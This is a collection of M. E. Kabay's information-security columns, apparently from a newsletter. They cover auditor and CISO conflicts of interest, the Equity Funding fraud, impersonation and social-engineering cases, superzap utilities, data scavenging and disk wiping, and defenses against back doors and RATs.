In conclusion, it seems to me that the drafters of the UCITA are genuinely trying to respond to criticism. It remains to be seen whether these proposed changes are in fact accepted by the NCCUSL. Nonetheless, UCITA remains a topic of hot debate. Readers would do well to continue to monitor events as they evolve and to ensure that state legislators are intelligently informed about the issues.

If we technologists allow UCITA to be passed into state laws without full and open exploration of its implications, we will have failed in our professional responsibilities to society. This is our job, not someone else's. Get involved!

Conflict of Interest

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The collapse of Enron, formerly the seventh-largest company in the United States, and recent revelations of widespread destruction of company documents by its auditors and bring to mind the difficult position of auditors in any business. Auditors face a challenge because in some sense, they inevitably have a conflict of interest. In the financial world, auditors ostensibly serves the interests of stakeholders, including shareholders employees, suppliers, and clients of the organization they Audit. Inevitably, financial auditors also serve at the discretion of decision makers within the very firms they are auditing.

In the Equity Funding fraud, discussed in recent columns in this series, the auditor who testified to the probity of that corrupt firm derived some 80 percent of his revenues from Equity Funding; he was willing to accept unverified reports that were delivered late – late because they had been fabricated the night before by a management team. The auditor had a very serious conflict of interest: offend his client by issuing a negative report and a major portion of his income would disappear.

In the Enron case, it appears that the company's auditors were also supplying extensive consulting services in addition to their auditing services. Attempts in recent years to pass legislation making it illegal to provide both financial auditing services and consulting services to the same clients by a single firm have been strongly resisted by a number of large firms; lobbyists have paid large sums to the re-election funds of many politicians who subsequently voted against such restrictions to reduce conflict of interest.

Providing favorable treatment of special interests because of large "campaign" contributions sets up an inevitable conflict of interest between the protection and promotion of voter interests and protection and promotion of contributor interests. Legislators have recently admitted as much in public hearings about the Enron failure.

In a corporate environment, setting the information security function as a subset of the information technology function potentially establishes a conflict of interest. We know that it is unacceptable to have the head of quality assurance report directly to the head of programming; similarly, I argue that it is unacceptable to have the head of information security reporting directly to the head of information technology. For example, the explicit or implicit goals of a chief information officer (CIO) may center on a short time horizon such as the quarterly bottom line in the profit-and-loss statement. Such a narrow focus may originate because that's they way the CIO was trained in business school or because the CIO plans to leave the company soon; either way, spending money on information security will not suit the purposes of such an officer. In contrast, the goals of a chief information security officer (CISO) need to be long term and to encompass business requirements, not merely technology issues. Protecting corporate information assets may conflict with the cheapest method of accomplishing a specific task; the interests of the CIO and of the CISO will therefore conflict.

In my opinion, a CISO should report at the same level and have the same level of authority as the other chief officers – the CEO, the CIO or the chief technology officer (CTO), the chief operating officer (COO) and the chief financial officer (CFO).

I'd be interested in receiving comments on this stance from readers, especially those backed up with case studies.

Conflict of Interest:
Career-Limiting Moves

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A reader wrote, " I am a subscriber and regular reader of the NetworkWorld series of e-mailed articles. One that has caused me much reflection was the 'Security and conflict of interest' article (NWF on Security, 1/29/2002). So much so that I was inspired to write you and ask a (hypothetical, of course) question.

If one found oneself in such a position (i.e. where a CISO [Chief Information Security Officer] reported directly to a CIO [Chief Information Officer]) and felt as you do about the potential for a conflict of interest, how should the CISO approach said CIO with this opinion? I'm sure you can imagine how potentially confrontational such a concept could become. It is arguable that, should the CIO refuse to contemplate the idea, the CISO would then be duty-bound to escalate the recommendation to the CEO [Chief Executive Officer]. The supposed reason for the CIO's refusal being that s/he is 'hiding something.'

I believe that, in good conscience, the above scenario would be the *right* way to go about it, but if I were in that position I would be hesitant to pursue it, as it could also well become a 'career-limiting move'. Any thoughts you have on the subject would be welcome."

* * *

Your point about approaching the CIO directly before bringing the possible realignment makes a lot of sense; it's always best to talk one-on-one with someone when developing a new idea. I have always found, "I need your help" to be a good start to explaining one's idea. It also seems to me that the way to broach this subject most successfully involves a multi-pronged approach. First, you should ensure that your relationship with the CIO were founded on a genuine sense of collegiality and mutual respect at the least; if possible, I would hope for a sense of friendship and trust as well. Naturally, these conditions may be impossible to achieve due to personality conflicts, justified lack of trust, or actual criminality on the part of the CEO. Second, you should document everything leading to your recommendations and have the documents date-stamped, notarized and stored in sealed envelopes in a corporate high-security safe with two signatures required for retrieval of the documents. Third, in my discussions with the CIO, I'd preface my comments with the assurance that nothing you say is to be interpreted as an attack on anyone's integrity, least of all your colleague's. You are proposing a structural change to reflect the needs of the entire organization; such careful definitions of independent responsibility can help to prevent the kind of disaster that seems to have occurred at the Enron corporation last year. And if you do get fired, I'd suggest you get an attorney who specializes in wrongful-dismissal suits. You are not _supposed_ to be fired for suggesting improvements in corporate governance.

Speaking of Enron, that case may be a real gift to everyone concerned about independent oversight. Not only does it provide an object lesson in what can go wrong when people fail to maintain the highest standards of the accounting and auditing professions, but it also gives

everyone with your concerns a straightforward example of the possible consequences of failing to act on principle.

If your CIO really is crooked, consider the alternatives: (1) get fired for doing the right thing or (2) lose your job when the company fails or you are accused of incompetence. Even worse, (3) you could be accused of collusion with the criminals and then face prosecution and possible time in jail.

Personally, I've rarely been in a situation where I thought I might be fired for riling an executive. In the mid-1980s, I was asked by a company president to prepare a brief showing how we could sue a relational database manufacturer for troubles our programmers had experienced in using their product. I began my research willingly, but the longer I studied the case and the more programmers I interviewed, the less I believed that the fault lay in the software. After a month of work, I submitted a brief that made a strong case _against_ going to court. The president, somewhat ruffled, told me he was not expecting that result, but after reading the report, he didn't fire me. In another situation, a general manager so enraged the staff that we banded together to demand changes in his micromanagement style so we could get our work done like adults. I was nominated as the spokesperson, so one afternoon I found myself telling the boss that if he didn't improve we'd all quit. Let me tell you, I didn't know what his response would be and I was seriously looking at the employment ads before I went into that meeting; however, to our relief, the boss, although really angry at first, did not in fact fire me or anyone else. He actually improved his style!

In conclusion, just think about the Enron executives who went along with the questionable actions of their hierarchical superiors -- how do you think prospective employers regard their having stayed on quietly?

Conflict of Interest:
Quis Custodiet Ipsos Custodies?

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I recently received another interesting response to my original article about conflict of interest. I have altered some of the details to protect the authors, who must understandably remain anonymous for their own safety. My thanks to the authors.

* * *

We are a security and auditing software technology provider in a third-world country. Just recently we finished an assessment of the internal information security and auditing of the Justice Department. . . .

However, one area of interest is the several thousand video tapes, sound tapes and related documents of the previous government, mainly the video tapes of the ex-head of the Federal Investigation Agency, of his many meetings, during which he paid bribes to control, manipulate and rob the country.

Currently the anti-corruption judges, staff and prosecutors are reviewing these tapes and transcripts, and almost daily they are uncovering the identity of other corrupted people in all areas of government and the private sector. In a part of the world where corruption has been a way of life for centuries, . . . one can imagine the attempts made to gain access to these tapes . . . and have them "permanently misplaced". . . .

The Justice Department is evaluating technology to digitalize all the tapes and documents, mainly for security reasons: controlling access, backup, etc.

What we have asked them, is who in fact will be in charge of the system? Who will be responsible for managing all users and administrators, access rights and permissions, etc.? Based on what we know of international security and auditing standards, rules and policies, it certainly cannot be any of the people who will use this system or anyone in the IT department, ALL OF WHOM HAVE A POTENTIAL CONFLICT OF INTEREST. Currently IT security is an IT department responsibility.

Talk about financial audit integrity, where the CFO can write a check and erase the transaction from his General Ledge; imagine what potential security issues the Justice Department will have if they implement this system with their current IT security and auditing structure. We have [been working on deciding] these basic issues and [to] define them, and [to] pass laws if necessary . . . [on]. . . who will enforce what is decided, before they even begin to evaluate any specific software solutions and start the budgeting process.

I will update you as we learn if they have any common sense and reality in these basic premises and realities. The book "Secrets and Lies," by Bruce Schneier, has appropriate words for your point: "If you think technology can solve your security problems, then you don't understand the

problems and you don't understand the technology."

* * *

A note on the title: "Who will guard the guards?" -- Juvenal, a Roman satirist of around 60-140 CE ("common era" -- a term used by non-Christians as equivalent to "AD" which means "anno domini" or "year of our Lord") who harassed the power structure of imperial Rome. [Five years of Latin have to be good for _something_!]

Too Much of a Good Thing:
Web Site Content & Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The National Infrastructure Protection Center (NIPC, http://www.nipc.gov) publishes several valuable reports of interest to network managers (see http://www.nipc.gov/publications/publications.htm for a list). _Cybernotes_, published every two weeks, covers vulnerabilities, exploits, hacking trends, virus information and infrastructure-protection best practices. The monthly _Highlights_ provides high-level overviews of security issues particularly appropriate for managers to read. The _Information Bulletins_ appear irregularly with major news of infrastructure vulnerabilities. The most recent Bulletin had the following interesting news:

"A computer that belonged to an individual with indirect links to USAMA BIN LADIN contained structural architecture computer programs that suggested the individual was interested in structural engineering as it related to dams and other water-retaining structures. The computer programs included CATIGE, BEAM, AUTOCAD 2000 and MICROSTRAN, as well as programs used to identify and classify soils using the UNIFIED SOIL CLASSIFICATION SYTEM.

"In addition, US law enforcement and intelligence agencies have received indications that Al-Qa ida members have sought information on Supervisory Control And Data Acquisition (SCADA) systems available on multiple SCADA-related Web sites. They specifically sought information on water supply and wastewater management practices in the US and abroad. There has also been interest in insecticides and pest control products at several Web sites.

"Recipients can find additional information regarding posting sensitive infrastructure-related information on Internet Web sites in NIPC Advisory 02-001 issued on 17 January 2002 at < http://www.nipc.gov/warnings/advisories/2002/02-001.htm >. The intent of this advisory was to encourage Internet content providers to review the sensitivity of the data they provide online."

The article raises an important point too often forgotten by busy Web masters: the information posted on a Web site is truly public, and so one ought to think carefully about whether specific details belong where anyone, including potential attackers, can find them. For example, details of personnel such as titles, explicit project titles and descriptions, specific buildings, offices and telephone numbers likely do not belong on a public Web site. Job openings, for example, sometimes have far too much detail about particular research projects, manufacturing processes or dependencies on particular software. Security-related information such as details of how systems are protected against intrusion or abuse likely have no place on such a site. All of these facts can be abused by hackers who use social engineering techniques to give themselves a false air of internal knowledge and credibility ("Hi Susan, this is Kamal from the Process Engineering Group – you know, we're in Building 42? Yeah, so I was wondering if you could tell me when the Supervisor of Quality Control – what was his name? Oh thanks – Bill Davidson. Yeah, anyway. . . . .")

Network security staff should review the current content of their organization's Web site(s) and develop and implement a collaborative review process with the Webmaster(s) to reduce the risk of giving away valuable secrets.

Impersonation

by M. E. Kabay, PhD, CISSP

Associate Professor, Computer Information Systems

Norwich University, Northfield VT

In 1970, Jerry Neal Schneider used "dumpster diving" to retrieve printouts from the Pacific Telephone and Telegraph (PT&T) company in Los Angeles. After years of collection, he had enough knowledge of procedures that he was able to impersonate company personnel on the phone. He collected yet more detailed information on procedures. Posing as a freelance magazine writer, he even got a tour of the computerized warehouse and information about ordering procedures. In June of 1971, he ordered $30,000 of equipment to be sent to a normal PT&T dropoff point--and promptly stole it and sold it. He eventually had a 6000 square-foot warehouse and 10 employees. He stole over $1 million of equipment -- and sold some of it back to PT&T. He was finally denounced by a disgruntled employee and became a computer security consultant after his prison term.

In discussions of impersonation in an online forum, one contributor noted that with overalls and a tool kit, you can get in almost anywhere. You just produce your piece of paper and say, "Sorry, it says here that the XYZ unit must be removed for repair."

In one of my courses some years ago, a participant recounted the following astonishing story. A well-dressed business man appeared at the offices of a large firm one day and appropriated an unused cubicle. He seemed to know his way around and quickly obtained a terminal to the host, pencils, pads, and so on. Soon, he was being invited out to join the other employees for lunch; at one point he was invited to an office party. During all this time, he never wore an employee badge and never told anyone exactly what he was doing. "Special research project," he would answer with a secretive air. Two months into his tenure, my course participant, a feisty information security officer, noticed this man as she was walking through his area of the office. She asked others who he was and learned that no one knew. She asked the man for his employee ID, but he excused himself and hurried off. At this point, the security officer decided to call for the physical security guards. She even prevented the mystery man's precipitous departure by running to the only elevator on the floor and diving into it before he could use it to escape.

It turned out that the man was a fired employee who was under indictment for fraud. He had been allowed into the building every morning by a confederate, a manager who was also eventually indicted for fraud. The manager had intimidated the security guards into allowing the "consultant" into the building despite official rules requiring everyone to have and wear valid employee passes. The more amazing observation is that in two months of unauthorized computer and office use, this man was never once stopped or reported by the staff working in his area.

This case illustrates the crucial importance of a sound corporate culture in ensuring that security rules are enforced.

Because so many people are hesitant to get involved in enforcing security rules, I recommend that security training include practice simulations of how to deal with unidentified people; anyone spotting such a person should call facilities security at once. One can even run drills by letting people know that there will be deliberate violations of the badge rule and that the first person to report the unbadged “intruder” will win a prize. Naturally, one should not terminate such practice drill – just keep it going indefinitely. Sooner or later, someone will report a real

intruder.

This method of spotting intruders will fail, however, if authorized employees consistently fail to wear visible identification at all times on the organization's property. The most common reason for such delinquency is that upper managers take off their badges as an unfortunate sign of high social status; naturally, eventually all employees end up taking off their badges. And then, since all it takes to look like one of the gang is _not_ wearing an ID, the street door may as well be kept unlocked with a large sign pointing into the building reading, "Come steal stuff here."

Equity Funding Fraud (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of the most common forms of computer crime is data diddling -- illegal or unauthorized data alteration. These changes can occur before and during data input or before output. Data diddling cases have included banks, payrolls, inventory, credit records, school transcripts, and virtually all other forms of data processing known.

One of the classic data diddling frauds was the Equity Funding case, which began with computer problems at the Equity Funding Corporation of America, a publicly-traded and highly successful firm with a bright idea. The idea was that investors would buy insurance policies from the company and also invest in mutual funds at the same time, with profits to be redistributed to clients and to stock-holders. Through the late 1960s, Equity's shares rose dizzyingly in price; there were news magazine stories about this wunderkind of the Los Angeles business community.

The computer problems occurred just before the close of the financial year in 1964. An annual report was about to be printed, yet the final figures simply could not be extracted from the mainframe. In despair, the head of data processing told the president the bad news; the report would have to be delayed. Nonsense, said the president expansively (in the movie, anyway); simply make up the bottom line to show about $10,000,000.00 in profits and calculate the other figures so it would come out that way. With trepidation, the DP chief obliged. He seemed to rationalize it with the thought that it was just a temporary expedient, and could be put to rights later anyway in the real financial books.

The expected profit didn't materialize, and some months later, it occurred to the executives at Equity that they could keep the stock price high by manufacturing false insurance policies which would make the company look good to investors. They therefore began inserting false information about nonexistent policy holders into the computerized records used to calculate the financial health of Equity.

In time, Equity's corporate staff got even greedier. Not content with jacking up the price of their stock, they decided to sell the policies to other insurance companies via the redistribution system known as re-insurance. Re-insurance companies pay money for policies they buy and spread the risk by selling parts of the liability to other insurance companies. At the end of the first year, the issuing insurance companies have to pay the re-insurers part of the premiums paid in by the policy holders. So in the first year, selling imaginary policies to the re-insurers brought in large amounts of real cash. However, when it the premiums came due, the Equity crew “killed” imaginary policy holders with heart attacks, car accidents, and, in one memorable case, cancer of the uterus – in a male imaginary policy-holder.

By late 1972, the head of DP calculated that by the end of the decade, at this rate, Equity Funding would have insured the entire population of the world. Its assets would surpass the gross national product of the planet. The president merely insisted that this showed how well the company was doing.

The scheme fell apart when an angry operator who had to work overtime told the authorities about shenanigans at Equity. Rumors spread throughout Wall Street and the insurance industry. Within days, the Securities and Exchange Commission had informed the California Insurance

Department that they'd received information about the ultimate form of data diddling: tapes were being erased. The officers of the company were arrested, tried, and condemned to prison terms.

* * *

More about this notorious case next time.

Scavenging (2):
RAM and Virtual Memory

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this short series, we're looking at how to discard data safely.

The first area to look at is the least obvious: electronic storage. Data are stored in the main random-access memory (RAM, as in "This computer has 128 MB of RAM) in computers whenever the data are in use. Until the system is powered off, data can be captured through memory dumps and stored on non-volatile media such as CD-ROM. Forensic specialists use this approach as one of the most important steps in seizing evidence from systems under investigation. However, criminals with physical access to a PC or other computer may be able to do the same if there is inadequate logging enabled on the system. Furthermore, even if the system is powered off and rebooted, thus destroying the contents of main memory, most systems use virtual memory (VM) which extends main memory by swapping data to and from a reserved area of a hard disk. Examining the hard disk (usually with special forensic software) allows a specialist to locate a great deal of information from RAM such as keyboard, screen and file buffers and process stacks (containing the global variables used by a program plus the data in use by subroutines at the time the swap occurred). Although there is never a guarantee of what will be found in the swap file, rummaging around with text-search tools can reveal logon IDs, passwords, and fragments of recently active and possibly confidential documents. The most alarming aspect of swap files is that they may contain cleartext versions of encrypted files; any decryption algorithm necessarily has to put a decrypted version of the ciphertext somewhere in memory to make it accessible by the authorized user of the decryption key.

Physical protection of a workstation to preclude access to the hardware is the most cost-effective mechanism for preventing scavenging via the swap files as well as to reduce scavenging of disk-resident data. Tools such as secure cabinets, anti-theft cables, movement-sensitive alarms, locks for diskette drives, and special screws to make it more difficult to enter the processor card cage all make illicit or undetected access more difficult.

While we're on the topic of RAM, most handheld computers use RAM for storage. What happens when you have to return such a system for repairs? Users can set passwords to hide information on some systems (e.g., Palm Pilots) but there are lots of programs for cracking the passwords of these devices. If it is possible to overwrite memory completely, I recommend that the user do so before having the device repaired or exchanged. If the system is nonfunctional, administrators should decide whether the relatively low cost of replacing the unit is justified to maintain security. Old handheld computers make excellent and original coasters for hot or cold drinks; they can also be used as very short-lived Frisbees.

Equity Funding Fraud (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

What can we learn from Equity Funding scandal? Here are some thoughts for discussion:

The auditors were incompetent. The firm was tiny -- it was hand-picked by the directors of Equity so that Equity would be the auditors' biggest account, generating 80% of that firm's revenue.

The auditors depended on inadequate sources of information. They asked employees of the firm they were auditing to provide them with the documents they needed; however, auditors should always get the documents themselves (i.e., someone from the auditing firm should be physically present as the documents are located).

The auditors accepted excuses for delays in meeting their requirements for random samples of documents. It is not acceptable that a required document be delayed. The reason for the delay must be shown unambiguously to be legitimate.

The auditors were incapable of determining what the computer programs were doing with the data. A qualified auditor would have used independent data processing expertise to discover that imaginary policies were identified by a “code 99.”

The bubble burst because of a disgruntled employee. It was not a clever program or a special security device that foiled the criminals' plan: it was an observant human being who was willing to blow the whistle and report his suspicions of criminal activity to the appropriate authorities.

As managers, make it clear in writing and behaviour that no illegality will be tolerated in your organization. Provide employees with information on what to do if their complaints of malfeasance are not taken seriously by their superiors. You may demonstrate the seriousness of your commitment to honesty by including instructions on how to reach legal or regulatory authorities.

As employees, be suspicious of any demands that you break documented rules, unspoken norms of data processing, or the law. For example, if you are asked to fake a delay in running a program--for any ostensible reason whatsoever--write down the time and date of the request and who asked you to do it. I know that it's easy to give advice when one doesn't bear the consequences, but at least see if it's possible to determine why you are being asked to dissimulate. If you're braver than most people, you can try seeing what happens if you flatly refuse to lie. Who knows, you might be the pin that bursts whatever bubble your superiors are involved in.

If you notice an irregularity--e.g., a high-placed official apparently doing extensive data entry--see if you can discreetly find out what's happening. See what kind of response you get if you politely inquire about it. If a high-placed employee tries to enter the computer room without authorization, refuse access until your own supervisor authorizes entry--preferably in writing.

If you do come to the conclusion that a crime is being committed, inform your supervisor--if (s)he seems to be honest. Otherwise, inform the appropriate civic or other authorities when you have evidence and your doubts are gone. At least you can escape being arrested yourself as a co-conspirator.

Superzapping (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

"Superzap" was an IBM utility that bypassed normal operating system controls. The term eventually became a generic word; with such a program, a user with the appropriate access and privileges could read, modify, or destroy any data on the system, whether in memory or on disk. Such tools can sometimes allow the user to avoid leaving an audit trail. Worse, normal application controls may be ignored; e.g., requirements for referential integrity in databases, respect for business rules, and authorization restrictions limiting access to specific people or roles.

What kinds of utilities qualify as superzaps?

o Privileged debuggers: tools which allow unrestricted access to memory and disk structures;

o Disk editors: permit any change to be written to disk without passing through the file system;

o Program patchers: modify executable program files without having to recompile source code;

o Database tools: can change portions of a database without regard for logical consistency;

o Spoolfile editors: modify output files before printing;

o Alternate operating systems: replace the normal operating system for diagnostic purposes.

In my own experience, I was told by one customer, a service bureau, that one of its customers regularly used a superzap program to modify production data. Other than warning the managers that such a procedure is inherently risky, there was nothing the bureau could do about it.

When I was running operations at a service bureau in the 1980s, I discovered that a programmer made changes directly in spoolfiles (spooled print files) on a monthly basis to correct a persistent error that had never been fixed in the source code. If such shenanigans were going on in a mere report, what might be happening in, say, print runs of checks?

So why tolerate superzaps at all?

Superzap programs serve us well in emergencies. No matter how well planned and well documented, any system can fail. If a production system error has to be circumvented NOW, patching a program, fixing a database pointer, or repairing an incorrect check-run spoolfile may be the very best solution as long as the changes are authorized, documented, and correct.

However, repeated use of such utilities to fix the same problems indicates a problem of priorities. Fix the problem now, yes; but find out what caused the problem and solve the root causes as well.

In the next issue of this newsletter, I'll summarize some of the controls that can be applied to superzaps.

Superzapping (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Powerful system utilities that bypass normal controls can be used to damage data and code. Network managers can control such “superzap” programs by limiting access to them; software designers can help network managers by enforcing capability checking at run-time.

Security systems using menus can restrict users to specific tasks; the usual security matrix can prevent unauthorized access to powerful utility programs. Some programs themselves can check to see that prospective users actually have appropriate capabilities (e.g., _root_ access). Ad hoc query programs can sometimes be restricted to read-only in any given database.

On some systems, access control lists (ACLs) permit explicit inclusion of user sets which may access a file (including superzap programs) for read and write operations.

Aside from using normal operating system security, one can also disable programs temporarily in ways which interfere with (they don't preclude) unauthorized access; e.g., a system manager can reversibly remove the capabilities allowing interactive or batch execution from dangerous programs.

It may be desirable to eliminate certain tools altogether from general availability. For example, special diagnostic utilities which replace the operating system should routinely be inaccessible to unauthorized personnel. Such diagnostic tools could be kept in a safe, for example, with written authorization required for access. In an emergency, the combination to the safe might be obtained from a sealed, signed envelope which would betray its having been opened. I can even imagine a cartoon showing a sealed glass box containing such an envelope on the computer room wall with the words, "IN CASE OF EMERGENCY, BREAK GLASS" to be sure that the emergency crew could get the disk or cartridge if it had to.

When printing important files such a runs of checks, it may be wise to print "hot" instead of spooling the output. That is, have the program generating the check images control a secured printer directly rather than passing through the usual buffers. Make sure that the printer is in a locked room. Arrange to have at least two employees watching the print run. If a paper jam requires the run to be started again, arrange for appropriate parameters to be passed to prevent printing duplicates of checks already produced.

Regardless of all the access-control methods described above, if an authorized user wishes to misuse a superzap program, there is only one way to prevent it: teamwork. By insisting that all use of superzaps be done with at least two members of the staff present, one can reduce the likelihood of abuse. Reduce, not eliminate: there is always the possibility of collusion. Nonetheless, if only a few percent (say, two percent for the sake of the argument) of all employees are potential crooks, then the probability of getting two crooks on the same assignment by chance alone is about 0.04%. True, the crooks may cluster together preferentially, but in any case, having two people using privileged-mode DEBUG to fix data in a database seems better than having just one.

One method that will certainly NOT work is the ignorance-is-bliss approach. I have personally heard many network managers dismiss security concerns by saying, "Oh, no one here knows enough to do that." This is a short-sighted attitude, since almost everything described above is fully documented in vendor and contributed software library publications. Recalling that managers are liable for failures to protect corporate assets, I urge all network managers to think seriously about these and other security issues rather than leaving them to chance and the supposed ignorance of a user and programmer population.

Scavenging (1):
Garbage Out, Data In

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Sometimes it's the little details that destroy the effectiveness of network security. Firewalls, intrusion-detection systems, token-based and biometric identification and authentication -- all of these modern protective systems can be circumvented by criminals who take advantage of what few people ever think about: garbage.

Computer crime specialists have described unauthorized access to information left on discarded media as scavenging, browsing, and Dumpster-diving (from the trademarked name of metal bins often used to collect garbage outside office buildings).

Discarded garbage is not considered private property under the law in the United States. In 1988, the Supreme Court heard California vs Greenwood *et al.* in which a Mr. Greenwood argued that his arrest on drug trafficking charges was illegally obtained by warrantless search of green plastic garbage bags he had placed outside his home. However, Justices White, Rehnquist, Blackmun, Stevens, O'Connor and Scalia wrote,

> "The Fourth Amendment does not prohibit the warrantless search and seizure of garbage left for collection outside the curtilage of a home.... Since respondents voluntarily left their trash for collection in an area particularly suited for public inspection, their claimed expectation of privacy in the inculpatory items they discarded was not objectively reasonable. It is common knowledge that plastic garbage bags left along a public street are readily accessible to animals, children, scavengers, snoops, and other members of the public. Moreover, respondents placed their refuse at the curb for the express purpose of conveying it to a third party, the trash collector, who might himself have sorted through it or permitted others, such as the police, to do so. The police cannot reasonably be expected to avert their eyes from evidence of criminal activity that could have been observed by any member of the public....."

In other words, anything we throw out is fair game, at least in the US. Other readers would do well to determine the state of jurisprudence dealing with the privacy, if any, of garbage in their jurisdiction. The only protection is to make the data in the garbage quite unreadable.

Discarded information can reside on paper, magnetic disks and tapes, and even electronic media such as PC-card ramdisks. All of them have special methods for obliterating the unwanted information. I don't want to spend much time on paper, carbon papers, and printer ribbons; the obvious methods for disposing of these media are so simple they need little explanation. One should ensure that sensitive paper documents are shredded; the particular style of shredding depends on the degree of sensitivity and the volume of sensitive papers. Cross-cut shredders, locked recycling boxes and secure shredding services that reliably take care of such problems are well established in industry.

In the next few columns, I'll review practical recommendations for protecting corporate (and private) information in memory and on disks or tapes from snoopers. In the meantime, I suggest that readers take a look around their own operations and find out how discarded paper, electronic and magnetic media containing confidential information are currently handled. With this information in hand, you'll be able to read the upcoming articles with your own situation well in mind.

Scavenging (3): Magnetic Spoor

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this series, we're looking at preventing scavenging of discarded information.

One issue worth mentioning in connection with disks is that some documents may contain more information than the sender intends to release. MS-Office documents, for example, have a PROPERTIES sheet that some people never seem to check before sending their documents to others. I have noticed Properties sheets with detailed Comments or Keywords fields that reveal far too much about the motives underlying specific documents; others include detailed or out-dated information about reporting structures such as the name of the sender's manager (a real treat for social engineering adepts). Users of MS-Word should turn off the FAST SAVE "feature" that was useful when saving to slow media such as floppy disks but that is now completely useless and even dangerous: FAST SAVE allows deleted materials to remain in the MS-Word document. Worse yet is the danger of turning _on_ "TOOLS | TRACK CHANGES" but turning _off_ the options to "Highlight changes on screen" and "Highlight changes in printed document." In this configuration, Word maintains a meticulous record of exactly who made which changes -- including deletions -- in the document but does not display the audit trail. Someone receiving such a document can restore the display functions at the click of a mouse and read potentially damaging information about corporate intentions, background information and bargaining positions. All documents destined for export should be checked for properties and track changes. My own preference when exchanging documents is to create a PDF (Portable Document Format) file using Adobe Acrobat -- and to check the output to see that it conforms to my expectations.

What should network administrators do about sensitive information on hard disks that are being sent out to third parties as part of workstations that need repairs, in exchange programs or as charitable donations?

In general, the most important method for protecting sensitive data on disk is encryption. If you routinely encrypt all sensitive data then only the swap file will be of concern (see the previous column in this series). However, many organizations do not require encryption on desktop systems even if laptop systems must use encrypting drivers. If you decide that the hard disk be "wiped" before sending it out, be sure that you use adequate tools for such wiping.

As many readers know, deleting a file under most operating systems usually means removing the pointer to the first part (extent, cluster) of the file from the disk directory (file allocation table or FAT under the Windows operating systems). The first character of the file name may be obliterated, but otherwise, the data remain unchanged in the now-discarded file. Unless the disk sectors are allocated to another file and overwritten by new data, the original data will remain accessible to utilities that can reconstruct the file by searching the unallocated clusters all over the disk and offering a menu of potentially recoverable data. With the size of today's hard disks, free space can be in the gigabytes, the clusters containing discarded data may not be overwritten for a long time.

One _inadequate_ method for obliterating data that I have heard people recommend is regular defragmentation. Moving existing files around on disk to ensure that each file uses the minimum number of contiguous blocks of disk space will likely overwrite blocks of recently liberated file clusters. However, there is no guarantee that existing _free space_ containing data residues will be overwritten. By the way, formatting a disk drive removes file system structures but leaves the raw data untouched.

In the final installment of this series, we'll look at tools for wiping disks.

Back Doors (5):
Deterring & Exterminating RATs

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this series of articles, we've been looking at undocumented and unauthorized methods for gaining access to systems. In this article, I summarize some basic approaches to preventing installation of back doors and finish with a brief note on getting rid of remote administration tools (RATs).

* * *

There is no easy way to stop installation of back doors in software. Because the back door code is passive, just waiting to be activated, it doesn't do anything particular while its carrier program is being installed. The rules for preventing infestation are the same for RATs as they are for other cybervermin; here's a short list that you can use for your users that will also reduce damage from viruses, worms, spyware and scumware:

* To prevent known RATs from installing, use up-to-date antivirus software. Such tools include recognition lists for some of the RATs in circulation and treat them like any other malicious code.

* Don't install software that anyone else has sent you by e-mail or otherwise. Always go to the originating site rather than relying on code that may have been modified in transit.

* Don't "Hide file extensions for known file types" in Windows Explorer – you need to be able to see the complete name of every file.

* Delete all unsolicited _executable_ attachments that you receive via e-mail, even if you know the sender.

* Reject executable archives (e.g., .EXE file created using WinZIP and other tools) and request retransmission using non-executable formats such as a simple .ZIP data file.

* Don't open e-mail attachments, no matter how attractive the description, unless you personally know that the sender wrote or otherwise created them and unless you have explicitly agreed in advance to receive such a file. Call the sender up by phone rather than using the e-mail address reported in the suspicious package. Validate the message's digital signature block, if there is one.

* Don't install software yourself; consult your technical support service for authorized software installation.

If your corporate policy authorizes it, you can add a word about non-antivirus scanners that identify and remove RATs

* Scan your PC regularly with updated anti-RAT tools and remove RATs and other malicious software.

For more advanced users who are allowed to install software themselves and who will understand suggestions about using firewalls:

* Download software only from reputable sites, not from warez and other hacker-oriented sites.

* Read the end-user license agreement carefully for all software

* Don't install stolen software of any kind.

* Enable your PC or other firewall (e.g., ZoneAlarm < http://www.zonelabs.com > to detect attempts to initiate outbound connections.

* In general, if your firewall signals that a product that should not be using the Internet is in fact trying to do so, block the communication until you find out more.

* Before approving such unexpected connections, be sure that you know which program's component is attempting to communicate and find out with whom; if available, follow the reverse IP lookup to identify where a communication is supposed to go and to judge whether you want to approve it.

Finally, as system and network administrators, be sure you close the most obvious back doors: canonical passwords. Any device, software, user ID or account that uses the original, out-of-the box standard access code is a back door waiting to be opened by a technically savvy attacker. For example, door locks that use numerical buttons or keypads often come with a default code: change it before you use the lock. Databases, voice-mail systems, operating systems – all of them can be installed with standard passwords that are known to thousands or even millions of other people: change them before you put them into production.

Scavenging (4):
Bye-Bye, Data

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

It is best to obliterate sensitive hard disk data at the time you discard the files. File shredder programs (use any search engine with keywords "file shredder program review" for plenty of suggestions) can substitute for the normal delete function or wastebasket. These tools overwrite the contents of a file to be discarded before deleting it with the operating system. However, a single-pass shredder may allow data to be recovered using special equipment; to make data recovery impossible, use military-grade obliteration that uses seven passes of random data.

Unfortunately, even shredder programs may not solve the problem for ultra-high sensitivity data. Because file systems generally allocate space in whole number of clusters, an end-of-file (EOF) that falls anywhere short of the end of a cluster leaves _slack space_ between the EOF and the end of the cluster. Slack space does not normally get overwritten by the file system, so it is extremely difficult to get rid of these fragments unless you use shredder programs that specifically take this problem into account.

